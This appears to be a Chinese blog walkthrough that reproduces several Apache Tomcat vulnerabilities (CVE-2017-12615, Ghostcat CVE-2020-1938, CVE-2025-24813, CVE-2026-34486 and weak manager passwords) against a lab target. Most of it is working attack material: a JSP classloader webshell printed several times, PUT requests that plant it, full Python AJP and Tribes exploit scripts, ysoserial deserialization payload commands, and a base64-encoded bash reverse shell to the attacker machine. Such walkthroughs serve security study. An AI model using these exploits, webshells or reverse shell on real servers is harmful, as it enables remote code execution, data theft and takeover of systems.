MyBLog

Apache Tomcat

2026-10-12T01:00:00.000Z

项目	详情
攻击机	Kali Linux（IP：192.168.197.128）
靶机	Ubuntu Server 24.04（IP：192.168.197.88）
CVSS 评分	CVE-2017-12615: 8.1（高危） / CVE-2020-1938: 9.8（严重） / CVE-2025-24813: 9.8（严重） / CVE-2026-34486: 9.8（严重）
典型漏洞编号	CVE-2017-12615 / CVE-2020-1938 / CVE-2025-24813 / CVE-2026-34486 / Tomcat 弱口令
影响组件	Apache Tomcat 8.5.19 / 9.0.30 / 9.0.97 / 9.0.116 等
漏洞类型	任意文件写入 / 文件包含 / 反序列化 RCE / 认证绕过 / 弱口令
利用条件	特定错误配置（readonly=false、AJP 开启、Session 持久化、Tribes 启用、弱口令等）
核心原理	DefaultServlet 配置缺陷、AJP 协议设计缺陷、反序列化与集群通信缺陷

一、漏洞原理#

Apache Tomcat 是当前最流行的 Java 中间件服务器之一，为 Java Servlet、JSP、WebSocket 等技术提供运行环境。Tomcat 的漏洞家族主要围绕三条技术主线展开：DefaultServlet 配置缺陷、AJP 协议设计缺陷以及反序列化与集群通信缺陷。

DefaultServlet 配置缺陷是 Tomcat 多个漏洞的根源。当 conf/web.xml 中 DefaultServlet 的 readonly 参数被设置为 false 时，Tomcat 允许通过 HTTP PUT 方法向服务器写入文件。虽然 Tomcat 对 .jsp 后缀做了检测，但攻击者可利用文件系统特性（如 Linux 下的 / 路径分隔符）绕过限制，写入 JSP Webshell。CVE-2017-12615 就是这类漏洞的典型代表。

AJP 协议设计缺陷是 CVE-2020-1938（Ghostcat）的根源。Tomcat 的 AJP（Apache JServ Protocol）连接器用于与前置 HTTP 服务器（如 Apache httpd）通信，默认监听 8009 端口。由于 AJP 协议在设计上允许客户端通过 javax.servlet.include.* 属性控制请求的转发目标，攻击者可以读取 Tomcat 上所有 webapp 目录下的任意文件。若目标应用存在文件上传功能，还可以配合文件包含实现远程代码执行。

反序列化与集群通信缺陷则涉及 CVE-2025-24813 和 CVE-2026-34486。前者利用 Tomcat 的会话持久化机制与部分 PUT 请求的路径转换特性，向会话存储目录写入恶意序列化对象，再通过操作 JSESSIONID cookie 触发反序列化；后者则利用 Tomcat Tribes 集群框架中 EncryptInterceptor 的绕过缺陷，向 4000 端口发送未加密的 Java 反序列化 payload，直接触发 RCE。

此外，弱口令与后台管理是 Tomcat 实战中最常见的入口之一。若管理员在 conf/tomcat-users.xml 中配置了弱口令用户，攻击者即可登录 manager 后台，上传 war 包直接获得 Webshell。

二、漏洞复现#

1. CVE-2017-12615（PUT 方法任意写文件）#

Tomcat 8.5.19 版本中，由于 DefaultServlet 配置了 readonly=false，攻击者可通过 PUT 方法向服务器写入任意文件。

DefaultServlet的关键部分如下：

1
2
    default
3
    org.apache.catalina.servlets.DefaultServlet
4
    
5
        debug
6
        0
7
    
8
    
9
        listings
10
        false
11
    
12
    
13
        readonly
14
        false
15
    
16
    1
17

展开收起

① 发送 PUT 请求写入一个字符串进行测试

由于 Tomcat 对 .jsp 后缀有检测，需要在文件名末尾加 / 绕过：

1
PUT /1.jsp/ HTTP/1.1
2
Host: 192.168.197.88:8080
3
Accept: */*
4
Accept-Language: en
5
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
6
Connection: close
7
Content-Type: application/x-www-form-urlencoded
8
Content-Length: 5
9

10
shell

② 访问网页

访问 http://192.168.197.88:8080/1.jsp，若能看到 shell 内容，说明文件写入成功。将内容替换为 JSP Webshell 即可执行任意命令。 ③ 替换为 JSP Webshell 并使用蚁剑连接

将之前 PUT 请求中的 shell 替换为蚁剑可用的 JSP 木马内容，重新发送请求写入 1.jsp，即可通过蚁剑连接获取 Webshell。

以下是一段蚁剑可用的 JSP 一句话木马（密码为 pass）：

1
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
2
<%!
3
    class U extends ClassLoader {
4
        U(ClassLoader c) { super(c); }
5
        public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
6
    }
7
    public byte[] base64Decode(String str) throws Exception {
8
        return new sun.misc.BASE64Decoder().decodeBuffer(str);
9
    }
10
%>
11
<%
12
    if (request.getParameter("pass") != null) {
13
        byte[] b = base64Decode(request.getParameter("pass"));
14
        new U(this.getClass().getClassLoader()).g(b).newInstance().equals(pageContext);
15
    }
16
%>

展开收起

在 Burp Repeater 中修改请求体为上面的 JSP 代码，注意 Content-Length 要改为实际长度，并保持 PUT /1.jsp/ HTTP/1.1 不变：

1
PUT /1.jsp/ HTTP/1.1
2
Host: 192.168.197.88:8080
3
Accept: */*
4
Accept-Language: en
5
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
6
Connection: close
7
Content-Type: application/x-www-form-urlencoded
8
Content-Length: 612
9

10
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
11
<%!
12
    class U extends ClassLoader {
13
        U(ClassLoader c) { super(c); }
14
        public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
15
    }
16
    public byte[] base64Decode(String str) throws Exception {
17
        return new sun.misc.BASE64Decoder().decodeBuffer(str);
18
    }
19
%>
20
<%
21
    if (request.getParameter("pass") != null) {
22
        byte[] b = base64Decode(request.getParameter("pass"));
23
        new U(this.getClass().getClassLoader()).g(b).newInstance().equals(pageContext);
24
    }
25
%>

展开收起

发送请求后，若响应状态码为 204 （或其他 2xx 状态码），说明 JSP 文件已成功写入 Web 根目录。

此时浏览器访问：

1
http://192.168.197.88:8080/1.jsp

如果页面空白且没有报错，说明木马已正常部署。

打开蚁剑（AntSword），右键“添加数据”，填写以下信息：

配置项	值
URL 地址	`http://192.168.197.88:8080/1.jsp`
连接密码	`pass`

点击“测试连接”，若显示“连接成功”，即可进入文件管理、命令执行等操作，获得完整的 Webshell 控制权限。

2. CVE-2020-1938（Ghostcat AJP 文件包含）#

Ghostcat（幽灵猫）是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞，由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。

Tomcat AJP 协议默认监听 8009 端口，攻击者可通过该端口读取 webapp 目录下的任意文件。

① 使用在线工具测试

可使用以下工具进行漏洞验证：https://www.chaitin.cn/zh/ghostcat（该网站已失效）

② 利用POC脚本方式

利用目录下的POC脚本：

1
# -*- coding: utf-8 -*-
2
#!/usr/bin/env python
3
#修改自 CNVD-2020-10487  Tomcat-Ajp lfi
4
#by zwliu2
5
import struct
6
from io import StringIO
7

8
# Some references:
9
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
10
def pack_string(s):
11
  if s is None:
12
    return struct.pack(">h", -1)
13
  l = len(s)
14
  return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
15
def unpack(stream, fmt):
16
  size = struct.calcsize(fmt)
17
  buf = stream.read(size)
18
  return struct.unpack(fmt, buf)
19
def unpack_string(stream):
20
  size, = unpack(stream, ">h")
21
  if size == -1: # null string
22
    return None
23
  res, = unpack(stream, "%ds" % size)
24
  stream.read(1) # \0
25
  return res
26
class NotFoundException(Exception):
27
  pass
28
class AjpBodyRequest(object):
29
  # server == web server, container == servlet
30
  SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
31
  MAX_REQUEST_LENGTH = 8186
32
  def __init__(self, data_stream, data_len, data_direction=None):
33
    self.data_stream = data_stream
34
    self.data_len = data_len
35
    self.data_direction = data_direction
36
  def serialize(self):
37
    data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
38
    if len(data) == 0:
39
      return struct.pack(">bbH", 0x12, 0x34, 0x00)
40
    else:
41
      res = struct.pack(">H", len(data))
42
      res += data
43
    if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
44
      header = struct.pack(">bbH", 0x12, 0x34, len(res))
45
    else:
46
      header = struct.pack(">bbH", 0x41, 0x42, len(res))
47
    return header + res
48
  def send_and_receive(self, socket, stream):
49
    while True:
50
      data = self.serialize()
51
      socket.send(data)
52
      r = AjpResponse.receive(stream)
53
      while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
54
        r = AjpResponse.receive(stream)
55

56
      if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
57
        break
58
class AjpForwardRequest(object):
59
  _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
60
  REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
61
  # server == web server, container == servlet
62
  SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
63
  COMMON_HEADERS = ["SC_REQ_ACCEPT",
64
    "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
65
    "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
66
    "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
67
  ]
68
  ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
69
  def __init__(self, data_direction=None):
70
    self.prefix_code = 0x02
71
    self.method = None
72
    self.protocol = None
73
    self.req_uri = None
74
    self.remote_addr = None
75
    self.remote_host = None
76
    self.server_name = None
77
    self.server_port = None
78
    self.is_ssl = None
79
    self.num_headers = None
80
    self.request_headers = None
81
    self.attributes = None
82
    self.data_direction = data_direction
83
  def pack_headers(self):
84
    self.num_headers = len(self.request_headers)
85
    res = ""
86
    res = struct.pack(">h", self.num_headers)
87
    for h_name in self.request_headers:
88
      if h_name.startswith("SC_REQ"):
89
        code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
90
        res += struct.pack("BB", 0xA0, code)
91
      else:
92
        res += pack_string(h_name)
93

94
      res += pack_string(self.request_headers[h_name])
95
    return res
96

97
  def pack_attributes(self):
98
    res = b""
99
    for attr in self.attributes:
100
      a_name = attr['name']
101
      code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
102
      res += struct.pack("b", code)
103
      if a_name == "req_attribute":
104
        aa_name, a_value = attr['value']
105
        res += pack_string(aa_name)
106
        res += pack_string(a_value)
107
      else:
108
        res += pack_string(attr['value'])
109
    res += struct.pack("B", 0xFF)
110
    return res
111
  def serialize(self):
112
    res = ""
113
    res = struct.pack("bb", self.prefix_code, self.method)
114
    res += pack_string(self.protocol)
115
    res += pack_string(self.req_uri)
116
    res += pack_string(self.remote_addr)
117
    res += pack_string(self.remote_host)
118
    res += pack_string(self.server_name)
119
    res += struct.pack(">h", self.server_port)
120
    res += struct.pack("?", self.is_ssl)
121
    res += self.pack_headers()
122
    res += self.pack_attributes()
123
    if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
124
      header = struct.pack(">bbh", 0x12, 0x34, len(res))
125
    else:
126
      header = struct.pack(">bbh", 0x41, 0x42, len(res))
127
    return header + res
128
  def parse(self, raw_packet):
129
    stream = StringIO(raw_packet)
130
    self.magic1, self.magic2, data_len = unpack(stream, "bbH")
131
    self.prefix_code, self.method = unpack(stream, "bb")
132
    self.protocol = unpack_string(stream)
133
    self.req_uri = unpack_string(stream)
134
    self.remote_addr = unpack_string(stream)
135
    self.remote_host = unpack_string(stream)
136
    self.server_name = unpack_string(stream)
137
    self.server_port = unpack(stream, ">h")
138
    self.is_ssl = unpack(stream, "?")
139
    self.num_headers, = unpack(stream, ">H")
140
    self.request_headers = {}
141
    for i in range(self.num_headers):
142
      code, = unpack(stream, ">H")
143
      if code > 0xA000:
144
        h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
145
      else:
146
        h_name = unpack(stream, "%ds" % code)
147
        stream.read(1) # \0
148
      h_value = unpack_string(stream)
149
      self.request_headers[h_name] = h_value
150
  def send_and_receive(self, socket, stream, save_cookies=False):
151
    res = []
152
    i = socket.sendall(self.serialize())
153
    if self.method == AjpForwardRequest.POST:
154
      return res
155

156
    r = AjpResponse.receive(stream)
157
    assert r.prefix_code == AjpResponse.SEND_HEADERS
158
    res.append(r)
159
    if save_cookies and 'Set-Cookie' in r.response_headers:
160
      self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
161

162
    # read body chunks and end response packets
163
    while True:
164
      r = AjpResponse.receive(stream)
165
      res.append(r)
166
      if r.prefix_code == AjpResponse.END_RESPONSE:
167
        break
168
      elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
169
        continue
170
      else:
171
        raise NotImplementedError
172
        break
173

174
    return res
175

176
class AjpResponse(object):
177
  _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
178
  COMMON_SEND_HEADERS = [
179
      "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
180
      "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
181
      ]
182
  def parse(self, stream):
183
    # read headers
184
    self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
185
    if self.prefix_code == AjpResponse.SEND_HEADERS:
186
      self.parse_send_headers(stream)
187
    elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
188
      self.parse_send_body_chunk(stream)
189
    elif self.prefix_code == AjpResponse.END_RESPONSE:
190
      self.parse_end_response(stream)
191
    elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
192
      self.parse_get_body_chunk(stream)
193
    else:
194
      raise NotImplementedError
195

196
  def parse_send_headers(self, stream):
197
    self.http_status_code, = unpack(stream, ">H")
198
    self.http_status_msg = unpack_string(stream)
199
    self.num_headers, = unpack(stream, ">H")
200
    self.response_headers = {}
201
    for i in range(self.num_headers):
202
      code, = unpack(stream, ">H")
203
      if code <= 0xA000: # custom header
204
        h_name, = unpack(stream, "%ds" % code)
205
        stream.read(1) # \0
206
        h_value = unpack_string(stream)
207
      else:
208
        h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
209
        h_value = unpack_string(stream)
210
      self.response_headers[h_name] = h_value
211

212
  def parse_send_body_chunk(self, stream):
213
    self.data_length, = unpack(stream, ">H")
214
    self.data = stream.read(self.data_length+1)
215

216
  def parse_end_response(self, stream):
217
    self.reuse, = unpack(stream, "b")
218

219
  def parse_get_body_chunk(self, stream):
220
    rlen, = unpack(stream, ">H")
221
    return rlen
222

223
  @staticmethod
224
  def receive(stream):
225
    r = AjpResponse()
226
    r.parse(stream)
227
    return r
228

229
import socket
230

231
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
232
  fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
233
  fr.method = method
234
  fr.protocol = "HTTP/1.1"
235
  fr.req_uri = req_uri
236
  fr.remote_addr = target_host
237
  fr.remote_host = None
238
  fr.server_name = target_host
239
  fr.server_port = 80
240
  fr.request_headers = {
241
    'SC_REQ_ACCEPT': 'text/html',
242
    'SC_REQ_CONNECTION': 'keep-alive',
243
    'SC_REQ_CONTENT_LENGTH': '0',
244
    'SC_REQ_HOST': target_host,
245
    'SC_REQ_USER_AGENT': 'Mozilla',
246
    'Accept-Encoding': 'gzip, deflate, sdch',
247
    'Accept-Language': 'en-US,en;q=0.5',
248
    'Upgrade-Insecure-Requests': '1',
249
    'Cache-Control': 'max-age=0'
250
  }
251
  fr.is_ssl = False
252
  fr.attributes = []
253
  return fr
254

255
class Tomcat(object):
256
  def __init__(self, target_host, target_port):
257
    self.target_host = target_host
258
    self.target_port = target_port
259
    self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
260
    self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
261
    self.socket.connect((target_host, target_port))
262
    self.stream = self.socket.makefile("rb", bufsize=0)
263

264
  def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
265
    self.req_uri = req_uri
266
    self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
267
    print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
268
    if user is not None and password is not None:
269
      self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
270
    for h in headers:
271
      self.forward_request.request_headers[h] = headers[h]
272
    for a in attributes:
273
      self.forward_request.attributes.append(a)
274
    responses = self.forward_request.send_and_receive(self.socket, self.stream)
275
    if len(responses) == 0:
276
      return None, None
277
    snd_hdrs_res = responses[0]
278
    data_res = responses[1:-1]
279
    if len(data_res) == 0:
280
      print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
281
    return snd_hdrs_res, data_res
282

283
'''
284
javax.servlet.include.request_uri
285
javax.servlet.include.path_info
286
javax.servlet.include.servlet_path
287
'''
288

289
import argparse
290
parser = argparse.ArgumentParser()
291
parser.add_argument("target", type=str, help="Hostname or IP to attack")
292
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
293
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
294
args = parser.parse_args()
295
t = Tomcat(args.target, args.port)
296
_,data = t.perform_request('/asdf',attributes=[
297
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
298
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
299
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
300
    ])
301
print('----------------------------')
302
print("".join([d.data for d in data]))

展开收起

执行该POC脚本：

1
python2 poc.py 192.168.197.88 -p 8009 -f WEB-INF/web.xml

该脚本会读取 Tomcat 的 WEB-INF/web.xml 配置文件。若目标应用存在文件上传功能，可配合该文件包含漏洞实现 RCE（注意：这里漏洞的效果是任意文件读取，但是任意文件读取的原理是利用 AJP 协议的 include 属性，欺骗 Tomcat 去读取任意文件，因此可以实现文件包含，但它在这里的直接效果是任意文件读取）。

3. CVE-2025-24813（会话持久化反序列化 RCE）#

Tomcat 9.0.97 及更早版本中，当同时配置了 readonly=false 和基于文件的 Session 持久化时，攻击者可通过部分 PUT 请求向会话存储目录写入恶意序列化对象，再通过 JSESSIONID 触发反序列化，最终导致远程代码执行。

说明：Vulhub 靶场默认未包含 CommonsCollections 等第三方 Gadget 库，因此无法直接执行系统命令。我们可以先用 URLDNS 链验证反序列化漏洞是否存在，再讨论 RCE 利用。

① 生成 URLDNS Payload

URLDNS 链仅依赖 JDK 内置类，不需要任何第三方库，非常适合用于漏洞验证。

这里使用DNSLog平台，网站为https://dnslog.org/。

同时需要使用ysoserial，下载链接如下（ysoserial 是 Java 反序列化利用的权威工具，可以生成各种 Gadget 链的序列化数据。）：

1
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

然后使用ysoserial生成序列化 Payload 文件，命令如下：

1
java --add-opens=java.base/java.util=ALL-UNNAMED \
2
     --add-opens=java.base/java.net=ALL-UNNAMED \
3
     -jar ysoserial-all.jar URLDNS "http://29d8d7ab.log.dnslog.pp.ua." > payload.ser

注意将上面 http://29d8d7ab.log.dnslog.pp.ua. 替换为你自己的 DNSLog 域名即可。

② 写入 Session 文件

获取 payload.ser 的字节长度，然后发送带 Content-Range 头的 PUT 请求：

1
L=$(stat -c%s payload.ser)
2
curl -X PUT "http://192.168.197.88:8080/deserialize/session" \
3
  -H "Content-Type: application/octet-stream" \
4
  -H "Content-Range: bytes 0-$((L-1))/$L" \
5
  --data-binary @payload.ser

预期响应：HTTP/1.1 409 Conflict。这是正常现象，表示 Tomcat 已将文件临时写入会话存储目录。

③ 触发反序列化

发送带有特殊 JSESSIONID cookie 的 GET 请求：

1
curl "http://192.168.197.88:8080/" -H "Cookie: JSESSIONID=.deserialize"

预期响应：HTTP/1.1 500 Internal Server Error，错误信息为 java.util.HashMap cannot be cast to java.lang.Long。这也是正常现象——Tomcat 期望反序列化出一个 Session 对象，而我们提供的是 URLDNS 链的 HashMap，因此会抛出类型转换异常。这恰好证明反序列化已被触发。

④ 验证 DNS 请求

⑤ 进一步利用（补充）

若需执行系统命令，需要向靶场容器添加 commons-collections 库（因为靶场中没有），然后使用 CommonsCollections6 链生成 Payload，重复步骤 ② 和 ③ 即可获得 RCE。

1
# 生成 RCE Payload
2
java --add-opens=java.base/java.util=ALL-UNNAMED \
3
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
4
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
5
     --add-opens=java.base/java.net=ALL-UNNAMED \
6
     -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/success" > payload.ser

之后按相同步骤写入并触发，再进入容器验证 /tmp/success 是否被创建。

4. CVE-2026-34486（Tribes EncryptInterceptor 绕过 RCE）#

Tomcat Tribes 是 Tomcat 推出的集群框架，启用了 Tribes 的多个 Tomcat 实例之间会通过 Java 序列化机制交换消息；当配置了 EncryptInterceptor 后，这些序列化字节流会被加密传输。正常情况下，接收消息的 Tomcat 实例只有在解密成功后才会对消息进行反序列化，但官方在修复 CVE-2026-29146（Tribes EncryptInterceptor Padding Oracle 漏洞）时引入了一个 Bug，导致消息解密失败时后续处理流程没有被中止，字节流无论解密是否成功都会被继续转发给下层处理器，进而被反序列化执行。攻击者只需具备 Tribes 接收端口（默认 4000）的网络访问权限，即可向其发送包含 Java 反序列化 payload 的未加密消息，完全绕过 EncryptInterceptor 的加密保护，实现远程代码执行。该漏洞影响 Apache Tomcat 9.0.116、10.1.53 和 11.0.20 版本。

满足以下条件的 Tomcat 才可以被利用：

在 server.xml 中显式启用
的 Channel 中配置了 EncryptInterceptor（未配置此拦截器的 Tribes 本就直接接受未加密消息，不属于该 CVE 的利用范畴）
Tribes 接收端口对攻击者网络可达（默认监听在 4000 端口）
classpath 中存在可用的反序列化利用链（如 Apache Commons Collections）

① 生成序列化 payload

由于漏洞容器中 classpath 已包含 commons-collections 3.2.1，可以使用任意 Apache Commons Collections 反序列化链来执行任意系统命令。

首先，使用 ysoserial 生成序列化 payload：

1
java \
2
  --add-opens=java.base/java.util=ALL-UNNAMED \
3
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
4
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
5
  --add-opens=java.base/java.net=ALL-UNNAMED \
6
  -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/success" > payload.ser

② 发送 payload 到 Tribes 端口

然后使用目录的 poc.py 脚本将 payload 封装进 Tribes 数据帧，发送到接收端口：

1
python3 poc.py -t 192.168.197.88 -p 4000 -f payload.ser

poc.py 脚本如下：

1
#!/usr/bin/env python3
2
import argparse
3
import io
4
import socket
5
import struct
6
import sys
7
import time
8
HEADER = b"FLT2002"
9
FOOTER = b"TLF2003"
10
MEMBER_BEGIN = b"TRIBES-B\x01\x00"
11
MEMBER_END = b"TRIBES-E\x01\x00"
12

13
def build_member():
14
    p = io.BytesIO()
15
    p.write(struct.pack(">q", 0))
16
    p.write(struct.pack(">I", 4001))
17
    p.write(struct.pack(">I", 0))
18
    p.write(struct.pack(">I", 0))
19
    host = socket.inet_aton("127.0.0.1")
20
    p.write(struct.pack(">B", len(host)))
21
    p.write(host)
22
    p.write(struct.pack(">I", 0))
23
    p.write(struct.pack(">I", 0))
24
    p.write(b"\x00" * 16)
25
    p.write(struct.pack(">I", 0))
26
    body = p.getvalue()
27
    return MEMBER_BEGIN + struct.pack(">I", len(body)) + body + MEMBER_END
28

29
def build_packet(payload: bytes) -> bytes:
30
    b = io.BytesIO()
31
    b.write(struct.pack(">I", 0x0008))
32
    b.write(struct.pack(">Q", int(time.time() * 1000)))
33
    uuid = b"\x01" * 16
34
    b.write(struct.pack(">I", len(uuid)))
35
    b.write(uuid)
36
    member = build_member()
37
    b.write(struct.pack(">I", len(member)))
38
    b.write(member)
39
    b.write(struct.pack(">I", len(payload)))
40
    b.write(payload)
41
    data = b.getvalue()
42
    return HEADER + struct.pack(">I", len(data)) + data + FOOTER
43

44
def send(host: str, port: int, packet: bytes, timeout: float) -> None:
45
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
46
        s.settimeout(timeout)
47
        s.connect((host, port))
48
        s.sendall(packet)
49
        s.shutdown(socket.SHUT_WR)
50
        try:
51
            s.recv(1)
52
        except (socket.timeout, OSError):
53
            pass
54

55
def parse_args():
56
    parser = argparse.ArgumentParser(
57
        description="CVE-2026-34486 - Tomcat Tribes EncryptInterceptor Bypass RCE",
58
        epilog=(
59
            "Generate a serialized payload first, e.g.:\n"
60
            "  java -jar ysoserial.jar CommonsCollections6 'touch /tmp/success' > payload.ser\n"
61
            "Then send it:\n"
62
            "  %(prog)s -t 127.0.0.1 -p 4000 -f payload.ser"
63
        ),
64
        formatter_class=argparse.RawDescriptionHelpFormatter,
65
    )
66
    parser.add_argument("-t", "--target", required=True, help="Tomcat Tribes receiver host")
67
    parser.add_argument("-p", "--port", type=int, default=4000, help="Tribes receiver port (default: 4000)")
68
    parser.add_argument(
69
        "-f", "--file", required=True,
70
        help="Path to a Java serialized payload file (e.g. generated by ysoserial)",
71
    )
72
    parser.add_argument("--timeout", type=float, default=3.0, help="Socket timeout in seconds (default: 3)")
73
    return parser.parse_args()
74

75
def main():
76
    args = parse_args()
77
    try:
78
        with open(args.file, "rb") as f:
79
            payload = f.read()
80
    except OSError as e:
81
        print(f"[!] Failed to read payload file: {e}")
82
        sys.exit(1)
83
    print(f"[*] CVE-2026-34486 Tomcat Tribes EncryptInterceptor Bypass RCE")
84
    print(f"[*] Target: {args.target}:{args.port}  Payload file: {args.file}")
85
    packet = build_packet(payload)
86
    print(f"[+] Payload: {len(payload)}B  Packet: {len(packet)}B")
87
    try:
88
        send(args.target, args.port, packet, args.timeout)
89
    except OSError as e:
90
        print(f"[!] Send failed: {e}")
91
        sys.exit(1)
92
    print("[+] Sent!")
93

94
if __name__ == "__main__":
95
    main()

展开收起

③ 验证命令执行

1
docker-compose exec tomcat ls -l /tmp

若文件存在，说明反序列化成功执行。

④ 补充：反弹 Shell

将 touch /tmp/success 替换为反弹 Shell 命令，重新生成 Payload：

1
java --add-opens=java.base/java.util=ALL-UNNAMED \
2
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
3
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
4
     --add-opens=java.base/java.net=ALL-UNNAMED \
5
     -jar ysoserial-all.jar CommonsCollections6 \
6
     "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > payload.ser

然后重复发送步骤，并在 Kali 上启动监听：

1
nc -lvnp 4444

若一切顺利，即可获得目标容器的反弹 Shell，这里不再演示。

5. Tomcat7+ 弱口令 & 后台 Getshell#

Tomcat 8.0 版本中（这个漏洞的利用方式从 Tomcat 7 开始就存在，一直延续到后续版本，标题用“Tomcat7+”来概括“7 及以上所有版本”；而本次靶场环境用的是 Tomcat 8.0），若管理员配置了弱口令用户，攻击者可登录 manager 后台上传 war 包获取 Webshell。

① 登录后台

访问 http://192.168.197.88:8080/manager/html，输入弱密码：

1
用户名：tomcat
2
密码：tomcat

② 制作 war 包

在 Kali 桌面新建一个文本文件，命名为 shell.jsp，内容如下（这是一个蚁剑可用的 JSP 木马，密码为 pass）：

1
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
2
<%!
3
    class U extends ClassLoader {
4
        U(ClassLoader c) { super(c); }
5
        public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
6
    }
7
    public byte[] base64Decode(String str) throws Exception {
8
        return new sun.misc.BASE64Decoder().decodeBuffer(str);
9
    }
10
%>
11
<%
12
    if (request.getParameter("pass") != null) {
13
        byte[] b = base64Decode(request.getParameter("pass"));
14
        new U(this.getClass().getClassLoader()).g(b).newInstance().equals(pageContext);
15
    }
16
%>

展开收起

使用 zip 命令生成 war 包（WAR 本质就是 ZIP）：

1
cd /root/桌面
2
zip shell.war shell.jsp

③ 上传 war 包

登录后台后，在 WAR file to deploy 区域选择 shell.war，点击 Deploy。Tomcat 会自动解压到 /shell/ 目录下。

④ 访问木马

浏览器访问：

1
http://192.168.197.88:8080/shell/shell.jsp

如果页面空白且没有报错，说明木马部署成功。

⑤ 使用蚁剑连接

打开蚁剑，添加数据：

URL：http://192.168.197.88:8080/shell/shell.jsp
密码：pass

测试连接，成功即可管理文件、执行命令。

三、漏洞原理总结#

漏洞编号	漏洞类型	注入点	利用方式
CVE-2017-12615	任意文件写入	PUT 方法 + DefaultServlet	利用 `/` 后缀绕过检测写入 JSP
CVE-2020-1938	文件包含/读取	AJP 协议 8009 端口	通过 AJP 读取 webapp 任意文件
